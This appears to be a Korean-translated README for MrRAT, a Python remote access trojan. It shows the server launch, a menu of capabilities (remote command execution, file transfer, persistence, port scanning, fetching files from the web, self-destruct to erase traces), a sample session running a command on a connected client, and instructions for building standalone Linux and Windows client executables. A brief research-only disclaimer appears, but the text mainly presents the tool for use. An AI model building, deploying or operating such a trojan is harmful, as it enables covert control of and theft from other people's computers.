
🐭 Python 2.x 기반의 크로스 플랫폼 원격 액세스 트로이 목마(RAT)입니다.
이것은 크로스플랫폼 Python 2.x 원격 액세스 트로이목마(RAT)입니다. MrRAT은 깔끔한 디자인과 완전한 기능을 갖춘 Python RAT를 유지하기 위해 만들어졌습니다. 현재 작업 진행 중이며 여전히 활발히 개발되고 있습니다.
면책 조항: 이 RAT는 연구 목적으로만 사용되며 승인된 시스템에서만 사용해야 합니다. 승인이나 명시적 허가 없이 컴퓨터 시스템이나 네트워크에 접근하는 것은 불법입니다.
$ python MrRAT_server.py --port 1337
/$$ /$$ /$$$$$$$ /$$$$$$ /$$$$$$$$
| $$$ /$$$ | $$__ $$ /$$__ $$|__ $$__/
| $$$$ /$$$$ /$$$$$$ | $$ \ $$| $$ \ $$ | $$
| $$ $$/$$ $$ /$$__ $$| $$$$$$$/| $$$$$$$$ | $$
| $$ $$$| $$| $$ \__/| $$__ $$| $$__ $$ | $$
| $$\ $ | $$| $$ | $$ \ $$| $$ | $$ | $$
| $$ \/ | $$| $$ | $$ | $$| $$ | $$ | $$
|__/ |__/|__/ |__/ |__/|__/ |__/ |__/
, .
(\,;,/)
(o o)\//,
\ / \,
`+'( ( \ )
// \ |_./
'~' '~----'
https://github.com/user696/MrRAT
MrRAT server listening for connections on port 1337.
[?] MrRAT> help
client <id> - Connect to a client.
clients - List connected clients.
download <files> - Download file(s).
execute <command> - Execute a command on the target.
help - Show this help menu.
kill - Kill the client connection.
persistence - Apply persistence mechanism.
quit - Exit the server and end all client connections.
scan <ip> - Scan top 25 ports on a single host.
selfdestruct - Remove all traces of the RAT from the target system.
survey - Run a system survey.
unzip <file> - Unzip a file.
upload <files> - Upload files(s).
wget <url> - Download a file from the web.
[?] MrRAT> clients
ID - Client Address
1 - 127.0.0.1
[?] MrRAT> client 1
[1] MrRAT> execute uname -a
Linux sandbox3 4.8.13-1-ARCH #1 SMP PREEMPT Fri Dec 9 07:24:34 CET 2016 x86_64 GNU/Linux
빌드하기 전에 MrRAT_client.py 상단에 있는 HOST 및 PORT 변수를 필요에 맞게 수정해야 한다는 점을 명심하세요.
Linux에서는 Python 2.x, PyInstaller, pycrypto가 필요합니다. 그런 다음 pyinstaller2 --onefile MrRAT_client.py 같은 명령을 실행하면 stand-alone ELF 실행 파일이 포함된 dist/ 폴더가 생성됩니다.
Windows에서는 Python 2.x, PyInstaller, pycrypto, pywin32, pefile이 필요합니다. 그런 다음 C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile MrRAT_client.py 같은 명령을 실행하면 stand-alone PE(portable executable) 파일이 포함된 dist/ 폴더가 생성됩니다.